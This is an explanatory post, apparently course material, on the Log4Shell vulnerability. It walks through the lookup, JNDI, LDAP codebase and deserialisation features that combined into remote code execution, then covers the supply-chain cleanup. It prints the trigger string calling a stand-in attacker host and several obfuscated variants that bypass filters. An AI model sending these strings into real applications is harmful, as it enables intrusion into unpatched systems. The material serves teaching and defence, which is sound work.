The Log4Shell exploit chain, slowly

In December 2021, an exploit string for a logging library went around Twitter and the world spent a long weekend updating dependencies. The bug, CVE-2021-44228, became known as Log4Shell. The patch went out fast. The understanding, less so.

This post walks the chain end to end. Not the bug as a slogan ("a logger executes code from log messages"), but the actual sequence of features that had to line up for a string of nine characters to land arbitrary Java code running inside a victim process. There are five distinct features involved, all of them documented, several of them defaults, none of them individually obviously dangerous. The story of how they composed into a remote code execution primitive is most of what you need to take from the incident.

The exploit string

${jndi:ldap://attacker.example/a}

That's the input. If your application logged any user-controllable string through Log4j 2 (versions roughly 2.0 through 2.14.1), an attacker who could put that text into a username, a User-Agent header, an HTTP form field, a chat message, anywhere at all, could trigger a chain that ended with the attacker's bytecode loaded into your JVM. The triggering surface was vast because logging is something you do reflexively in Java. Most production applications log every request, every error, every login attempt, often with the raw input embedded in the message.

What follows is the why.

Feature one: lookups

Log4j 2 supports interpolation in log messages. If you write log.info("user $${env:USER} logged in"), the runtime will substitute the value of the environment variable into the rendered message. The syntax is ${prefix:body}, and there are a few dozen built-in prefix handlers: env, sys, date, lower, upper, bundle, java, and so on. Most of them do something innocuous like reading a system property. Some load resources.

The lookup machinery runs not just on the format string but on the substituted parameters as well. So if you write log.info("user {} logged in", username) and the value of username happens to be ${env:HOME}, Log4j will resolve the lookup against the substitution and insert your home directory into the log line. This was an explicit design decision, documented and intended.

Feature two: the JNDI lookup

The Java Naming and Directory Interface, JNDI, is a unification layer over a set of older directory protocols: LDAP, RMI, DNS, CORBA. The idea is that a Java application can resolve a name like java:comp/env/jdbc/MyDataSource against a context, and JNDI hides whether the underlying directory is LDAP, RMI, or something else.

Log4j ships a JNDI lookup handler. Its prefix is jndi. The body of the lookup is a URI that JNDI resolves through whatever protocol the URI scheme implies. So ${jndi:ldap://attacker.example/a} runs an LDAP lookup against the attacker's server, asking for the entry named a.

Already at this stage you have unauthenticated outbound DNS and TCP from the victim to wherever the attacker said. That on its own is a passable side channel (bug bounty programs paid for less), but the rest of the chain delivers full RCE.

Feature three: LDAP referrals to remote class data

LDAP, the protocol, supports referrals. An LDAP server's response can include the equivalent of "I don't have that entry, but I have a reference to it; here is a URL pointing at the actual data." JNDI's LDAP provider follows referrals automatically.

LDAP entries can also carry a javaCodeBase attribute pointing at an HTTP URL, plus a javaClassName attribute naming a Java class. JNDI's LDAP provider knows how to interpret these attributes. Given them, it will fetch the class file from the HTTP URL, define the class in the JVM, and instantiate it.

The mechanism was originally intended for distributed Java applications that wanted to share class definitions across machines. Pre-2015 it ran with no restrictions. After 2015 (CVE-2015-4902), Oracle added a security manager check, but only for codebase URLs over HTTP, and only when a property called com.sun.jndi.ldap.object.trustURLCodebase was set to true. The property defaulted to false for HTTP, but the corresponding property for RMI defaulted to true until 2018. Log4Shell exploited the LDAP path on JDKs old enough that the HTTP restriction wasn't fully enforced, and used a fallback gadget chain on newer JDKs.

Feature four: deserialisation gadget chains

For JDKs that did enforce the codebase restriction, attackers reached for a different lever. LDAP responses can include a javaSerializedData attribute. JNDI's LDAP provider, on receiving this attribute, calls ObjectInputStream.readObject to deserialise it.

Java deserialisation is its own weather system. The short version: if you call readObject on an attacker-controlled byte stream, and your classpath contains certain library classes (Apache Commons Collections, Spring, Groovy, certain XStream versions, certain Hibernate versions), the attacker can craft a serialised object graph whose construction triggers a chain of method invocations ending in Runtime.exec. These are called gadget chains. The ysoserial tool catalogues several dozen of them.

So even when remote class loading was off, an attacker who knew which libraries were on the victim's classpath could pick a gadget chain that worked, ship it as javaSerializedData, and get RCE that way. Log4j was usually deployed alongside enough common libraries that at least one chain was available.

Feature five: the recursion

The lookup machinery resolves ${...} recursively. So ${${lower:j}ndi:ldap://...} is also a valid trigger, because the inner lookup resolves to j first, after which the outer parses as ${jndi:ldap://...}. This made early WAF rules (match the literal string ${jndi:) useless. The bypass list got long fast: ${${::-j}ndi:...}, ${${env:NaN:-j}ndi:...}, ${${date:'j'}ndi:...}, and so on.

The patch in Log4j 2.15.0 disabled JNDI lookups by default but still allowed LDAP-based ones in some cases. 2.16.0 disabled message lookups entirely. 2.17.0 fixed a separate denial-of-service vulnerability that emerged once people started looking at the lookup engine seriously. Three versions in two weeks. It was that kind of December.

Why the bug was so old

The JNDI lookup was added to Log4j 2 in 2013. It sat there for eight years. Reviewers who looked at it presumably assumed that JNDI was harmless because the Java security manager was supposed to gate dangerous operations. But by 2013, very few production deployments actually configured a security manager. Library authors knew this in the abstract; they didn't always reason about it concretely when reviewing features.

The deeper reason is that the dangerous composition wasn't visible from any single feature's documentation. The Log4j devs read the JNDI docs. The JNDI maintainers read the LDAP RFCs. The LDAP people thought about referrals. Nobody had to explicitly think "what happens when these features compose with each other inside a process that logs untrusted input." That kind of cross-cutting reasoning is the thing static analysers and reviewers find hardest.

There was also the issue of who was reading the code. Log4j 2 had a maintainer count in the low single digits, mostly volunteers. The most popular logging library in the Java world was being kept alive by, more or less, three people in their spare time. Sound familiar?

The supply chain story

Here is where the story gets less satisfying. The Log4Shell patch went out fast. Bumping the version in your pom.xml was a one-line change. But knowing whether you needed to was a different problem entirely, because Log4j was a transitive dependency of most large Java applications, often through several layers.

The first wave of remediation was to grep the lock file. The second wave was to grep recursively, including for repackaged versions where Log4j had been included via a fat JAR. The third wave, weeks later, was to actually run a software composition analysis tool to enumerate every classfile loaded into every running JVM and check whether any of them was a vulnerable Log4j class. The third wave found vulnerable instances that the first two had missed, including in commercial products whose vendors had said they were unaffected.

Four months after the disclosure, Cisco's Talos was still finding vulnerable Log4j instances in production environments at large enterprises. Some of these were in vendor-shipped appliances where the vendor hadn't released an update. Some were in internal applications that nobody had touched in years. Some were in Docker images that had been rebuilt without checking.

Log4Shell was the moment SBOM stopped being an aspirational acronym and started being something procurement teams asked for in writing. The US executive order on software supply chain security came out the following year, and although it had been brewing for a while, Log4Shell is what made it politically actionable. Major language ecosystems started shipping vulnerability databases that worked with their package managers. GitHub's Dependabot went from a curiosity to something engineering teams treated as a real signal.

None of this is fixed. Most production Java applications still don't have a maintained SBOM. Most don't have a process for emergency dependency upgrades that runs in less than a week. The next Log4Shell, in the form of some unexamined feature in some library you depend on transitively, is plausible enough that it's being actively bet on. The improvements since 2021 mostly amount to a slightly faster response when it happens.

The reading

If the gadget chain mechanics piqued your interest, ysoserial's source is the canonical artefact and reads in an evening. Frohoff's original 2015 talk is the source material for almost every deserialisation incident since. For the supply chain side, the Linux Foundation's OpenSSF working groups produce working documentation that's worth a skim if you ever expect to be the person responding to one of these.

Where this fits in

The full picture (gadget chains, transitive dependency analysis, the gap between an SBOM and reality, vendor shipping practices, the supply chain attack surface that runs through every modern build pipeline) is the meat of Module 89 (Supply Chain and Binary Attacks). Log4Shell is the canonical worked example, and the module spends time on it.